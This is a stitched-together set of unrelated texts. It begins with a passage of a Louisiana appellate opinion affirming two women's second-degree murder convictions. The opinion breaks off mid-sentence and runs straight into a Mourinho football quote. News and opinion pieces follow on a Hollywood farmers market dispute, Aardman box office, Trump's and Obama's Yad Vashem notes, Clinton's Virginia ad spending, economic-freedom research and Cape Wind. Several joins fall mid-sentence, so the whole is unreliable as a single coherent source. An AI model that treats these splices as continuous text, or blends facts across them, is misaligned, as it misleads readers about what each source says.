Defendant–Davis' daughter, Kelsey, was asked about her father, Andrew Little's, death. When asked if she ever indicated to police that there was a problem with the life insurance, Kelsey replied, “The problem? That she was the beneficiary and she got all the money.” Kelsey also told police that Defendant–Davis told her that there was only $25,000.00 in life insurance. However, when her father's house was being cleaned, a $100,000.00 policy was found. In her statement, Kelsey also stated that the situation was “shady” because Defendant–Davis bought a Trailblazer with cash, bought the victim a boat with cash, remodeled the house with new hardwood floors, bought new kitchen appliances, hired a professional painter to paint the entire house, and hired someone to landscape the house. In the statement, Kelsey described her mother as being unfair to other people. When questioned by defense counsel, Kelsey stated that she did not know how much life insurance money was paid when her dad died.
As for Defendant–Saltzman, Kelsey described her as a second mom. Kelsey stated that Defendant–Saltzman lived with them for four years, never paying any rent or buying groceries. In her statement to police, Kelsey stated that Defendant–Saltzman did not have any money and did not have to have any money if she hung out with Defendant–Davis.
Davis' Financial Records
Detective Young reviewed the Davis' financial records. The District Attorney asked Detective Young to look at withdrawals and expenditures beginning in February 2009. The records showed overdraft charges, frequent withdrawals, and withdrawals at gaming establishments. In particular, on July 10, 2009, Defendant–Davis' card was used to purchase $102.75 at Casino Gaming. On July 11, 2009 (ten days after the victim's body was found), Defendant–Davis wrote four checks at K.D's Diner—$202.75, $102.75, $102.75, and $62.75.
Life Insurance
When he first spoke with Defendant–Davis, Detective Blanchard learned that the victim had two life insurance policies—one from Farm Bureau in the amount of $90,000.00 and one from Union National in the amount of $40,000.00. Later, however, Detective Blanchard learned from Kay Ashworth, of State Farm Insurance, that there were two additional polices—one in the amount of $100,000.00 and one in the amount of $250,000.00. The Farm Bureau policy was opened on September 30, 2004. Defendant–Davis was listed as a fiancé with a scheduled wedding date of December 18th. The $250,000.00 State Farm policy was opened on April 8, 2005, with Defendant–Davis listed as fiancé. Defendant–Davis became the owner of this policy on August 10, 2006. The $100,000.00 State Farm policy was opened on September 30, 2004, and Defendant–Davis was the beneficiary, listed as a girlfriend. The Union National Insurance Policy was a Prudential Policy opened October 29, 2004, in the amount of $50,000.00 with an additional $150,000.00 accidental. The spouse, Marla, was removed, and Defendant–Davis was added as a beneficiary, listed as a friend. Detective Young testified that there were four policies, totaling $645,000.00.
Defense's Case
In its case in chief, the defense offered the testimony of John Bloxom, a resident of Calcasieu Parish, who called Crime Stoppers after seeing a news report that a body was found at the end of Wagon Wheel Road on July 1, 2009. The day before the news report, Mr. Bloxom saw a red truck backed up by the trees on Wagon Wheel Road. Mr. Bloxom testified that he saw the truck before noon. Shane Dietz testified at trial that at the time of the murder, he drove a red F–150 four-door truck. When asked if he noticed anything unusual about the truck he saw, Mr. Bloxom stated that the doors of the truck were open. Mr. Bloxom also testified that he had been fishing in that area for twenty years and very seldom saw vehicles in that area. No one from law enforcement followed up with Mr. Bloxom. When asked why he did not follow-up on Mr. Bloxom's call, Detective Young testified that the victim's phone records indicated he was most likely dead on Monday.
Mark Fontenot, a friend of both the victim and Defendant–Davis, testified that he spoke with the victim on the morning of June 29th. Mr. Fontenot thought he remembered the victim telling him that he and Defendant–Davis were looking at boats at Henderson Implement in Welsh. Mr. Fontenot believed the call was at about 10:19 that morning. According to Mr. Fontenot, Defendant–Davis called him that evening, “around 7:00–ish,” to see if he had heard from the victim. Mr. Fontenot stated that he had not heard from the victim, but he began calling the victim and leaving voicemails. When he learned that the victim was missing, Mr. Fontenot thought the victim was either fooling around and did not want to be disturbed or something bad had happened. On cross-examination by the State, Mr. Fontenot described the victim as a “neat freak.” Finally, Mr. Fontenot stated that when he and the victim would fish together, they would mostly launch at Calcasieu Point on Henry Pugh Boulevard. According to Detective Blanchard, the victim's body was found less than a mile from Calcasieu Point Landing.
State's Argument
In closing, the State argued that instead of being home the afternoon of June 29th as she claimed, Defendant–Saltzman was driving the victim's Honda Accord and communicating with Defendant–Davis to determine when Defendant–Davis and the victim would be leaving Jerry's Marine. Defendant–Saltzman drove the victim's Honda Accord to Wagon Wheel Road and feigned a flat tire. Rather than going home and switching cars as Defendant–Davis claimed, the State argued that Defendant–Davis and the victim drove the Trailblazer straight from Jerry's Marine to Wagon Wheel Road. Although the State does not indicate which Defendant did the shooting, the State argued that once lured to the murder scene, the victim was murdered by the Defendants.
The State argued that the jury must either believe that Defendant–Davis and the victim went home to switch cars as Defendant–Davis claimed, or they must believe that Defendant–Davis and the victim drove straight to Wagon Wheel Road. Traveling the direct and less timely route, the State argued, made more sense in light of the pontoon bridge closing to traffic and in light of the fact that the Honda Accord had to be parked on Wagon Wheel Road before the heavy rains started. The weather reports indicate that heavy rain occurred between 3:00 and 4:00 p.m. Because no mud was found underneath the Honda Accord, it had to have been parked on Wagon Wheel Road before the rain started. Additionally, the State argued that it would have taken less time for Defendant–Davis and the victim to travel directly from Jerry's Marine to Wagon Wheel Road than it would have taken them to travel from Jerry's Marine to their house, switch cars, and then the victim travel alone to Wagon Wheel Road. The Defendants' cell phone records, the State argued, also support its theory. The cell phone records not only show that the Defendants were not where they claimed to be the day before the murder and the afternoon of the murder, they also placed the Defendants near the murder scene both the day before the murder and the day of the murder.
As a further connection of Defendant–Davis to the murder scene, the State argued that the projectiles found at the scene matched the ammunition found at the Davis residence. This particular type of ammunition is not used that often, but is common to law enforcement and gun enthusiasts. The State further noted that the flat tire at the crime scene appeared to be staged.
The State stressed the fact that Defendant–Davis and Defendant–Saltzman gave inconsistent stories as to how and when the victim's Honda Accord was returned to the Davis residence. Additionally, neither woman told police that they were together at Walgreens the morning of the murder. Defendant–Davis also lied to police about leaving the victim numerous voicemails when he did not return home. Additionally, the State pointed out the fact that Defendant–Davis told the victim's sister that the victim never returned home from his trip to Kroger to buy Bailey a Sprite. Although not argued by the State, we also note that Kelsey Little, Defendant–Davis' daughter, testified that Defendant–Davis told her that the victim never returned home from work. These all differ from what Defendant–Davis told police, that the victim never returned when they went their separate ways for him to continue boat shopping in Beaumont.
To prove motive, the State argued that Defendant–Davis knew the victim had been having an affair with Fannie Dietz. The State also pointed out the financial bind Defendant–Davis was in because of her loss of job, overdrawn bank account, video-poker playing, and late house-note payment. In addition, the State pointed out, Defendant–Davis lied to police regarding the amount of life insurance carried by the victim. In brief, the State argues that Defendant–Davis and Defendant–Saltzman have been nearly inseparable friends for years, that both Defendants were frequent gamblers, and that Defendant–Saltzman was financially dependent on Defendant–Davis.
As further indications of the Defendants' guilt, the State pointed out that Defendant–Davis was out playing video poker just days after her husband's death and that Defendant–Davis asked her mother to deposit $4,000.00 into her account because of the victim's death investigation before the victim was even found. Finally, the State argued that the two Defendants were alibis for one another.
Defense Argument
Defendant–Davis acknowledges that although very close, there appears to have been enough time for Defendant–Davis and the victim to drive from Sulphur, clear the pontoon bridge before 3:31 p.m., arrive at the murder scene before 3:36 p.m., and the victim be murdered before 3:45 p.m. However, Defendant–Davis argues that the State's theory does not account for the fact that the victim's cell phone was north of the pontoon bridge at 3:44 p.m.—a period of time when the bridge was closed to traffic:
It was not possible for the phone to have made its way from the murder scene after the killing of Brian Davis, and be north of the pontoon bridge at 3:44 p.m. because the bridge was closed to traffic. If the cell phone analysis is given credibility enough to convict two people of murder, it should also be considered reliable enough to show that the State's timeline was flawed to the exclusion of every reasonable hypothesis. Simply put, there was not sufficient time for Brian Davis to have been murdered during the time frame that the state revealed in its rebuttal argument and still give credence to the cell tower analysis which places his phone north of the waterway at 3:44 p.m.
However, the State's cell phone expert, Agent Shute, did not testify that the victim's cell phone was located north of the pontoon bridge at 3:44 p.m. Agent Shute testified that the cell tower used by the victim's cell phone during the 3:44 p.m. call “sits north of the ․ murder scene.” Even so, Agent Shute was able to get a signal “just south of the pontoon bridge,” making it possible for the victim's phone to have been “within a half a mile of the murder scene.” According to Detective Young, Hackberry is located south of Sulphur. Thus, if the victim and Defendant–Davis were traveling from Jerry's Marine (located in Sulphur) to the murder scene, they were traveling south. Agent Shute agreed that the victim and Defendant–Davis had to get beyond the pontoon bridge to reach the murder scene. The murder scene was located south of the pontoon bridge. Consequently, if the murder scene was located south of the pontoon bridge and Agent Shute was able to get a signal “just south of the pontoon bridge,” the victim's cell phone could have also been south of the pontoon bridge when the 3:44 p.m. phone call was made.
The Defendants attempt to poke additional holes in the State's case by pointing out that the victim's time of death was not precise and could have been anytime in the afternoon or night of his disappearance, even possibly the morning after. Dr. Terry Welke, the coroner for Calcasieu Parish, estimated the victim's time of death to be sometime after 12:00 p.m. on June 29, 2009. Additionally, the Defendants argue that the testimony regarding the start of rainfall was based on information from the Lake Charles Memorial Airport, a different location than the murder. Thus, the Defendants argue, the rainfall at the murder scene could have been later.
Defendant–Davis also argues that Shane Dietz, the husband of the victim's mistress, had both the motive and opportunity to kill the victim. Even though Detective Young testified that Mr. Dietz' cell phone records cleared him as a suspect, the Defendant argues that it was impossible for Mr. Dietz to be cleared by his cell phone records since there is a large gap between calls on the day the victim was murdered. Additionally, she argues that the same type of truck driven by Mr. Dietz was seen near the murder scene the day after the victim was murdered. In closing argument, both Defendants also argued that when Defendant–Davis left Jerry's Marine, she was dressed in white capri pants and flip flops, attire not appropriate for going into a muddy cow pasture and killing someone.
Finally, the Defendant raises additional hypotheses of innocence:
Was Brian Davis going to engage in some monetary transaction that was illegal on the day of his demise? Was he killed in a drug deal gone bad? Was Brian Davis engaged in sexual conduct when he was caught by a jealous husband or boyfriend and killed? Did Brian Davis drive his car to Wagon Wheel Road, leave it parked there, and leave in another vehicle belonging to someone else?
Sufficiency of the Evidence Analysis
Both Defendants were convicted of second degree murder, which requires proof that the defendant killed a human being (1) with the specific intent to kill or inflict great bodily harm or (2) while engaged in the perpetration of an enumerated offense. La.R.S. 14:30.1. This court has held that pointing a gun at a person and firing the gun is an indication of intent to kill that person. State v. Thomas, 10–269 (La.App. 3 Cir. 10/6/10), 48 So.3d 1210, writ denied, 10–2527 (La.4/1/11), 60 So.3d 1248, cert. denied, ––– U.S. ––––, 132 S.Ct. 196 (2011). The victim in this case died of four gunshot wounds, one to the head and three to the torso. Thus, the evidence was sufficient to establish a specific intent to kill the victim.
The only issue in this case is whether the victim was murdered by the Defendants. It is well-settled that “[a]s a general matter, when the key issue is the defendant's identity as the perpetrator, rather than whether the crime was committed, the state is required to negate any reasonable probability of misidentification.” State v. Neal, 00–674, p. 11 (La.6/29/01), 796 So.2d 649, 658, cert. denied, 535 U.S. 940, 122 S.Ct. 1323 (2002) (citing State v. Smith, 430 So.2d 31 (La.1983); State v. Brady, 414 So.2d 364 (La.1982); State v. Long, 408 So.2d 1221 (La.1982)).
“Generally, direct evidence consists of testimony from a witness who actually saw or heard an occurrence, proof of the existence of which is at issue.” State v. Jones, 46,758, 46,759, p. 11 (La.App. 2 Cir. 12/14/11), 81 So.3d 236, 243–44, writ denied, 12–147 (La.5/4/12), 88 So.3d 462 (citing State v. Lilly, 468 So.2d 1154 (La.1985)). “Circumstantial evidence, by contrast, consists of proof of collateral facts and circumstances from which the existence of the main fact may be inferred according to reason and common experience.” Id. at 244 (citing Lilly, 468 So.2d 1154, and State v. Bounds, 38,330 (La.App. 2 Cir. 5/12/04), 873 So.2d 901). “When circumstantial evidence forms the basis of the conviction, such evidence must exclude every reasonable hypothesis of innocence.” Id. (citing La.R.S. 15:438).
In the present case, direct evidence placed Defendant–Davis with the victim shortly before the murder. Direct evidence also showed that Defendant–Davis was the beneficiary of over $645,000.00 in life insurance proceeds, that Defendant–Davis knew that the victim had an affair, and that both Defendant–Davis and Defendant–Saltzman lost their jobs. There was also direct evidence from both Defendant–Davis and Defendant–Saltzman as to their whereabouts on the day before the murder and the day of the murder, as well as surveillance video of the Defendants' whereabouts throughout the day of the murder. The jury heard this evidence and, thus, heard the inconsistencies in the two women's stories—i.e., the jury saw the Walgreens video showing both Defendants at the store the morning of the murder; the jury heard Defendant–Davis state that she went to Walgreens with no mention of Defendant–Saltzman; the jury heard Defendant–Saltzman make no mention of going to Walgreens; and the jury heard the different stories by both Defendants as to how the Honda Accord was returned to the Davis residence. The jury also heard direct evidence from the victim's sister that Defendant–Davis told her that the victim never returned home from going to Kroger to get a Sprite for Bailey as well as direct evidence from Kelsey Little that Defendant–Davis told her that the victim never returned home from work. Finally, the jury heard direct evidence that the Honda Accord's tire was not defective.
The jury also heard evidence in this case regarding the estimated time of the murder, evidence of when the victim and Defendant–Davis left Jerry's Marine and how long it would have taken them to get to the murder scene, evidence of the rainy weather near the time of the murder, evidence that the Honda Accord had no mud on it and, thus, had to arrive at the scene before the rain. Moreover, the jury heard evidence that Hydra–Shock ammunition was found at the murder scene and at the victim's residence, evidence that both Defendants were using cell phones near the murder scene both the day before the murder and the day of the murder, and evidence that the cell phones of both Defendants placed them in areas inconsistent with where they claimed to be both the day before the murder and the day of the murder. Additionally, the jury heard evidence of the Defendants' close friendship and that Defendant–Saltzman relies financially upon Defendant–Davis. Finally, the jury heard evidence that Defendant–Davis' mother stated that she deposited the money into Defendant–Davis' account because Defendant–Davis said the police froze the account due to the victim's death investigation when Bartholomew's deposit was made on the morning of July 1, 2009, the same date the victim's body was found.
As for the Defendants' hypotheses of innocence, the jury heard the statements of both Defendants as to their whereabouts the day before the murder and the day of the murder. The jury also heard the testimony of the Defendants' cell phone expert that the Defendants could still be where they said they were and make cell phone calls using towers near the murder scene. Further, the jury heard the testimony regarding the victim's affair with Fannie Dietz, the cell phone records of both Fannie Dietz and her husband, as well as the testimony that a truck similar to Mr. Dietz's was seen near the murder scene the day after the murder. Finally, the jury heard the State's expert testify that unidentified male DNA was found at the murder scene but no female DNA. Nevertheless, the jury rejected the Defendants' hypotheses of innocence.
As this court has held, “when a jury ‘reasonably rejects the hypothesis of innocence presented by the defendant[ ], that hypothesis falls, and the defendant is guilty unless there is another hypothesis which raises a reasonable doubt.’ “ Francis, 111 So.3d at 533 (quoting State v. Strother, 09–2357, pp. 10–11 (La.10/22/10), 49 So.3d 372, 378, quoting State v. Captville, 448 So.2d 676, 680 (La.1984)) (alteration in original). Accordingly, we find that considering the direct and circumstantial evidence in this case, the jury reasonably rejected the Defendants' hypotheses of innocence, including any possibility that someone other than the Defendants committed the murder.
In a somewhat similar case, the second circuit found sufficient evidence of second degree murder. In Jones, 81 So.3d 236, the second circuit found sufficient evidence to convict Jones even though the direct evidence only placed the victim with Jones' shortly before the victim's murder. Circumstantial evidence, however, showed that bullets recovered from Jones' trunk were consistent with those used to shoot the victim, and cell phone records put Jones and the victim together in the area where the victim's body was found. The court held:
The direct evidence that Lioy [victim # 1] left Shreveport with Jones and Ms. Foster [victim # 2], coupled with the circumstantial evidence of the cell phone records that put them together in the area where the body was found, and that the bullets found in Jones' trunk were consistent with those that shot Lioy, all support a finding beyond a reasonable doubt that Jones killed Lioy, with a specific intent either to kill or inflict great bodily harm. The suggestion that somebody else might have intervened in this sordid sequence of events and shot Lioy is simply not sufficiently reasonable to dissuade a reasonable jury from its finding of Jones's guilt. This assignment of error lacks merit.
Id. at 245.
Likewise, we find that the direct and circumstantial evidence presented in the present case supports a finding beyond a reasonable doubt that Defendant–Davis and Defendant–Saltzman killed the victim with the specific intent to kill or inflict great bodily harm. Louisiana Revised Statutes 14:24 provides, “[a]ll persons concerned in the commission of a crime, whether present or absent, and whether they directly commit the act constituting the offense, aid and abet in its commission, or directly or indirectly counsel or procure another to commit the crime, are principals.” The evidence presented at trial shows that Defendant–Davis was with the victim shortly before the time the State alleges the murder occurred. Defendant–Davis and Defendant–Saltzman were in frequent communication the day before the murder and the day of the murder. Both Defendants gave inconsistent statements as to their whereabouts and the cell phone records of both Defendants place them near the scene of the murder both the day before and the day of the murder. Although Defendant–Saltzman was not with the victim shortly before the murder as was Defendant–Davis, the cell phone records indicate that Defendant–Saltzman was continually communicating with or was physically with Defendant–Davis both the day before the murder and the day of the murder. On the day of the murder, Defendant–Saltzman was seen with Defendant–Davis that morning, continually communicated with Defendant–Davis throughout the day (even within the hour the State alleges the murder occurred), and was seen with Defendant–Davis shortly after the State alleges the murder was committed. Defendant–Saltzman was also driving the victim's Honda Accord the day of the murder. Finally, Defendant–Davis knew the victim had been having an affair, admitted to being in a financial bind, and stood to benefit financially from life insurance policies. Defendant–Saltzman was a very close friend of Defendant–Davis and had been financially reliant on Defendant–Davis in the past. Considering this evidence, we find that the jury reasonably rejected the Defendants' hypotheses of innocence and convicted them both of second degree murder.
Accordingly, this assignment lacks merit.
ASSIGNMENT OF ERROR NUMBER ONE:
In this assignment of error, Defendant–Davis argues that the trial court erred in failing to swear in the jury as required by La.Code Crim.P. art. 790 and then granting the State a continuance after the commencement of trial. For the reasons that follow, we find that this assignment lacks merit.
The case was called for trial on November 7, 2011, at which time jury selection began and continued until a jury was selected on November 10, 2011. Before the conclusion of jury selection, the testimony of one of the State's witnesses, Deputy Baumgarten, was perpetuated. The day after jury selection was completed, November 11, 2011, the State requested a continuance because of the physical health of the prosecutor in the case, Rick Bryant. Over the objections of defense counsel for both Defendants, the trial court granted the continuance. The trial court also refused defense counsels' request to swear in the jury.
Subsequently, on January 6, 2012; January 18, 2012; and January 24, 2012, the trial court heard testimony and argument regarding a motion to quash and dismissal filed by both Defendants. Both Defendants argued that double jeopardy attached when the State perpetuated the testimony of Deputy Baumgarten before the trial court granted the State |
in the world is difficult to say.
"To be the best midfield player, I think so. I don't see another one with everything he has. He has to develop, of course he has to."
Mourinho, meanwhile, has praised Wayne Rooney's professionalism amid one of his most difficult seasons at Old Trafford.
Mourinho has defended Paul Pogba and insists he is the best midfielder in the world
The United captain has taken on a more peripheral role on the playing front but has said his preference is to stay with the club as long as he plays more.
Mourinho said: "Sometimes the players understand the situation, sometimes they still feel they are 24 or 25.
"It's very difficult. The good thing with Wayne is that he's very much a club man. If he is frustrated, he hides it. If he is not happy, he hides it. He behaves in the best possible way."Ms. Simon-Duneau said that she had been making the drive to the Hollywood market just about every Sunday since it opened in 1991, and that she knew “almost all the vendors by name.”
“People love it because it’s the antithesis of the supermarket,” she said.
There were, at last count, 99 certified farmers markets in Los Angeles County, meaning that on nearly any day, you can find one open someplace: on a Santa Monica thoroughfare on Saturdays, the Plummer Park parking lot in West Hollywood on Mondays, the center of downtown Los Angeles on Thursdays. The markets have an avid following of customers who know which farmers to seek out and which months to find persimmons and pears. They are as integral a part of the Los Angeles fabric as Korean grocers are in New York City.
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The Hollywood Farmers Market, which is among the biggest, stands out, with notably good produce and a good location for spotting celebrities buying vegetables.
The mutual distrust in the current dispute is deep, reflecting long-simmering tensions between established businesses and stand owners who command the streets from 8 a.m. to 1 p.m. The film school has emboldened other business owners to vent long-held frustrations with a market that they say hurts business and often leaves them cleaning up a mess when the farmers pack up.
“In the early 1990s, the farmers market came in, and I thought it was good — the area was down, and it improved the area,” said Paul Camarata, the owner of Sound Factory, a recording studio on Selma Avenue at the crossroads of the market. “It started to expand, and all of a sudden, we found it in front of our place, encircling it on Sunday mornings.”
“It’s been frustrating,” Mr. Camarata added. And referring to the film school, he said: “They’ve only had a couple of years’ taste of this. I’ve had 19 years.”
Kerry Morrison, the executive director of the Hollywood Property Owners Alliance, suggested that it might be time for the market to move to a less built-up part of Hollywood.
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“The film school has been advising the folks at the farmers market that this day was going to come,” Ms. Morrison said. “For the film school, which has made a $65 million investment in this facility, to not be able to fully utilize it is not fair. And I’m looking at this and saying, ‘Wow, this is exactly the kind of business that in the early days of the business district we were hoping to attract here.’ ”
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City officials have tried to find a compromise — have the film students park elsewhere? move the market? — to resolve the dispute. Eric Garcetti, president of the Los Angeles City Council, recently spent two hours negotiating with both sides before settling, in best diplomatic fashion, on an agreement to try to come to an agreement. (In the process, he bought the market 90 more days, as both sides explore various options.)
“I asked them to dial down their legal and oratorical voices and ramp up their neighborly ones,” Mr. Garcetti said.
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The film school, which opened in 1999, is an accredited institution that offers associate of science degrees in film, game production, animation and recording arts. Tuition goes up to $41,000 for an 18-month program, with classes and workshops devoted to film editing, sound recording, directing and writing.
Since the school opened, it has in many ways become a symbol of the neighborhood’s transformation, along with Amoeba Music, a warehouse-size independent record store across Sunset Boulevard. The school owns two buildings and has 1,700 students.
What it does not have is class on Sunday morning. In explaining the need for the 120-space parking lot, Mr. Ibrahim said students came in to use the school’s production facilities on weekends.
“Even though operationally we are not open seven days a week, educationally we are,” he said. “Sunday is a great day to come in and use the lab.”
Mr. Ibrahim declined to say how many students came on Sundays.
The market, which stretches from Hollywood Boulevard to Sunset Boulevard and along two blocks of Selma, attracts about 100 farmers. Closing the block to accommodate the film school would force the moving (or closing) of farmers’ stands. Organizers are reluctant to move to another part of Hollywood after being on Ivar Avenue for so long, and there are no obvious adjacent streets to take up the slack.
“We don’t want to lose any farmers,” said Pompea Smith, executive director of Sustainable Economic Enterprises of Los Angeles, which runs the markets. “We don’t want to lose any space. We want to make sure whatever space is safe for the community. “
The Hollywood market’s decidedly loyal clientele seems no less aggrieved. “Why is it coming up as an issue now?” asked Vikki Karan of West Hollywood. “This is not new. The farmers market has been there forever.”
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“People need to understand,” Ms. Karan added, “that especially with the way the economy is, if you can get people to come out and spend money, especially cash like people do at the market, we shouldn’t be turning them away.”It would be easy to pin the blame on Lionsgate’s marketing department, but Aardman’s star has been fading globally for years. Since their first feature, Chicken Run in 2000, each Aardman film has earned less globally than the previous film. That downward trend has nothing to do with Lionsgate since this is the first Aardman project they’ve handled in the U.S., and the signs of a box office flop were evident to us long before the film opened.
To look at the positive side, Aardman’s box office woes may have bottomed out with Shaun the Sheep Movie. Their next film, Early Man, marks the directorial return of Aardman superstar Nick Park, which should result in an audience boost solely on his Wallace and Gromit reputation.
But that doesn’t address the root of Aardman’s woes: their visual and comedic stylings, which felt fresh twenty-five years ago, have been so endlessly copied both by others and themselves that the mere sight of their work now feels stale and predictable. Shaun may have been a great film, but Aardman’s approach feels too much been-there, done-that to filmgoers.
The staleness factor afflicts all animation studios that have had the good fortune of being in business as long as Aardman. DreamWorks Animation is currently battling its own creative slide coupled with negative audience perceptions, and until just a few years ago, Disney’s feature animation department was an also-ran until they reinvented themselves as a CG animation studio.
Other animation box office highlights from this weekend:
* Illumination/Universal’s Minions passed $300 million at the U.S. box office and $900 million globally. Its $7.4M (est.) weekend total was good for 6th place in the States where it was scored $302.8M to date. The yellow goons still have their sights set on $1 billion in global box office, which seems especially likely after the film opens in China next month.
* Pixar/Disney’s Inside Out finally fell out out of the U.S. top ten in its 8th weekend. Its gross of $2.7M pushed its total to $335.4M, and it now looks likely that the film will surpass Finding Nemo to become Pixar’s second-highest grossing U.S. film of all-time, as well as the company’s highest-grossing original film of all-time. Globally, the film passed The Incredibles and Ratatouille this week, and has now earned $635.5M.
* Funimation’s Dragon Ball Z: Resurrection F continued its remarkable one-week limited engagement run, grossing $1.36M on Saturday and a five-day (Tues-Sat) total of $5.58M in North America. The film has surpassed Hayao Miyazaki’s The Wind Rises and Howl’s Moving Castle to become the 9th highest-grossing anime release in America. It marks the first time an independent distributor has cracked the top ten U.S. anime releases.
* GKIDS opened Kahlil Gibran’s The Prophet in two U.S. theaters and picked up $26,600. The film’s $13,300 per-theater average was the second-highest of any film in America.
* China’s live-action/animation hybrid Monster Hunt, directed by PDI/DreamWorks Animation veteran Raman Hui, boosted its phenomenal total to $330 million, becoming China’s highest-grossing homegrown film of all-time and second-highest grossing film ever, behind just Furious 7 ($391 million).Liberals on Twitter are taking aim at President Trump for leaving a flippant note while visiting Yad Vashem, the Holocaust memorial museum in Jerusalem, Israel, and contrasting it against the lengthier note left by his predecessor, Barack Obama.
Trump, Obama notes left at Yad Vashem, Israel's memorial for the Holocaust.
This makes me sad. pic.twitter.com/QgOpILPyeQ — ian bremmer (@ianbremmer) May 23, 2017
Now, I'm no defender of Trump and have long been critical of him for his narcissism and lack of seriousness, but I'm much less concerned about what he writes in a note, and more interested in what he will do as president to ensure the words "Never Again" are more than empty rhetoric.
In Obama's case, he was comfortable using high-minded rhetoric when discussing the Holocaust, but as president, he made the world a much more dangerous place for living Jews.
Obama, during his time in office, had a hostile attitude toward Israel, which is home to more than 6 million Jews — and consistently portrayed Jewish housing construction as the biggest threat to peace in the Middle East. Meanwhile, he cozied up to Iran, giving it $150 billion in sanctions relief to help it finance terrorism, allowing it to build ballistic missiles, increasing its conventional power, and putting it on a glide path to a nuclear weapon — even as the nation's leaders threatened to destroy Israel. In selling his deal, he employed historical anti-Semitic stereotypes that in effect portrayed wealthy Jewish donors as exerting a disproportionate and nefarious influence on U.S. lawmakers, who couldn't possibly oppose his deal on the merits. And in his outgoing act, he allowed the United Nations to pass an appalling resolution condemning Israel that described Jewish holy sites as being on illegally occupied territory.
If people want to attack Trump, there is plenty of ammo. But words are empty. In Obama's case, he spoke solemnly about dead Jews while he imperiled those who are living.The decision reflects increasing confidence among Democrats that Clinton will keep Virginia. | Getty Clinton pauses ads in Virginia in sign of confidence
Hillary Clinton’s presidential campaign has left Virginia off its upcoming battleground-state television ad buy beginning next week — the second state to be dropped in recent weeks as Clinton holds a significant lead over Donald Trump nationally and in key states.
The campaign’s new television ad buy, which begins next Tuesday, consists of Florida, Iowa, Nevada, New Hampshire, North Carolina, Ohio and Pennsylvania. The reservations, which could easily be amended in the future, run through Labor Day.
The decision reflects increasing confidence among Democrats that Clinton will keep Virginia, a state that had been expected to be bitterly contested, in the blue column this fall. The pro-Clinton super PAC Priorities USA is scaling back its Virginia ad campaign later this month, as well.
It comes just two weeks after Colorado fell off the list of states comprising Clinton’s ad reservations — and Colorado isn’t part of the new flight, either. Priorities USA recently scrapped its Colorado ads, too.
POLITICO’s Battleground State polling average gives Clinton a 5.2 point lead in Virginia — with the two newest public surveys, conducted last month, before Clinton chose Sen. Tim Kaine as her running mate, showing her with leads of 7 points and 9 points over Trump.
A Clinton campaign official, speaking on background to discuss campaign strategy, stressed that the campaign could return to the airwaves in both Virginia and Colorado at any moment. And the official added that voters in those two states may still see some Clinton spots on television: The campaign is advertising across the country on cable and on NBC’s Olympics telecasts over the next two weeks.
Trump’s campaign has yet to begin a TV ad campaign in the general election, despite a concerted effort to close the gap with Clinton in fundraising.
“With ads still on the air and organizers and volunteers in every corner of the commonwealth, the campaign remains committed to fighting hard until Election Day to win every last vote in battleground Virginia,” the official said, referencing the national campaigns on cable and Olympic programming.
Republicans carried Virginia in 10 consecutive presidential elections, starting in 1968 — before Barack Obama broke that streak in 2008 and held its 13 electoral votes in 2012.Economic freedom is, as Martha Stewart might say, a good thing. That’s not just my bias as a libertarian: I’ve got science on my side.
In a new study published in Contemporary Economic Policy, two of the authors of the annual Economic Freedom of the World Index set out to see how other researchers were using their work. Specifically, West Virginia University economist Joshua Hall and Southern Methodist University economist Robert Lawson found 402 scholarly articles that use some aspect of the index, which the Fraser Institute has published each year since 1996. The institute broadly defines economic freedom as “the extent to which you can pursue economic activity without interference from government, as long as your actions don’t violate the identical rights of others.” As Hall and Lawson further note, the Economic Freedom Index is “within the classical liberal tradition that emphasizes the importance of private property, rule of law, free trade, sound money, and a limited role for government.”
Once Hall and Lawson identified the articles citing the Index, they whittled the list down to 198 papers that use it as a substantive variable in their analyses, usually trying to correlate economic freedom with some other outcome, such as economic growth, income levels, productivity, poverty, inequality, and so forth. Based on the effects identified in each study, Hall and Lawson sorted the articles into three outcome groups: good, bad, and mixed.
An example of a good outcome would be a 2008 study in the Journal of Economic Behavior and Organization finding that “those societies that rely upon individual economic freedoms to promote women’s well-being have been more successful than those societies relying upon greater political rights.” Or the 2007 analysis by Austrian researchers for the Institute for Advanced Studies in Vienna concluding “more economic freedom is associated with lower gender wage gaps.”
With regard to the effects of greater economic freedom on the welfare of children, a 2006 study published in the Journal of International Trade & Development correlated child labor rates with the index’s ratings of countries’ openness to trade. From 1960 to 2000, the article reported, “Child labor force participation rates declined on average by 3 percentage points per decade while trade openness increased on average by 6 to 7 percentage points.” A third study, published in Contemporary Economic Policy in 2008, found that economic freedom correlated with greater protection against the extinction of species. Insecure property rights, for example, are associated with the type of deforestation that threatens the habitat of many endangered species.
Economic freedom isn’t all beer and pizzas. In 2007, two economists from Lund University reported in the Journal of Economic Literature that higher levels of the stuff are associated with greater income inequality. In particular, they find that “increased economic freedom has been associated with increasing inequality, and that this effect most likely comes from deregulations and increased trade openness.”
Another study that located a bad outcome was published in the Annual Review of Public Health in 2008. It reported that economic freedom contributed to rising obesity by lowering food prices, empowering women to participate in the paid workforce, and producing fewer restrictions on the entry of new businesses selling food into the marketplace. Likewise, a 2003 study in the Journal of Economic Perspectives found that people living in developed “countries with more price controls are much less obese than people in countries without price controls.” In other words, freedom tends to make people fat. A sociopolitical recipe for reducing obesity might involve establishing price controls, forcing women to stay home, and imposing regulations that limit the creation of new businesses.
Once Hall and Lawson finished sorting through the relevant 198 articles, they found that two-thirds (134 articles) reported good outcomes correlating with higher levels of economic freedom. Twenty-eight percent (56 articles) reported mixed outcomes and just four percent (8 articles) found economic freedom correlated with bad outcomes. “The balance of the evidence,” Hall and Lawson conclude, “is overwhelming that economic freedom corresponds with a wide variety of positive outcomes with almost no negative tradeoffs.”
In that case, here’s another piece of good news: According to the latest Economic Freedom Index, “average economic freedom rose from 5.30 (out of 10) in 1980 to 6.88 in 2007. It then fell for two consecutive years, resulting in a score of 6.79 in 2009 but has risen slightly to 6.83 in 2010, the most recent year available.”
Less happily, the United States has fallen from 8.65 in 2000 to 8.21 in 2005 and 7.70 in 2010. After a long stint as third freest economy in the ratings, the U.S. is now number 18. America’s falling rank in the Index provokes the cynical thought that perhaps as our freedom contracts, so too will our waistlines.After eight years of arduous state and federal environmental reviews, the promoters of Cape Wind, a wind energy project off the Massachusetts coast, had every reason to believe that they were home free. Then the Wampanoag tribes asked the Interior Department to declare all of Nantucket Sound, where the 130 wind turbines would be built, a “traditional cultural property” and, they hoped, block construction.
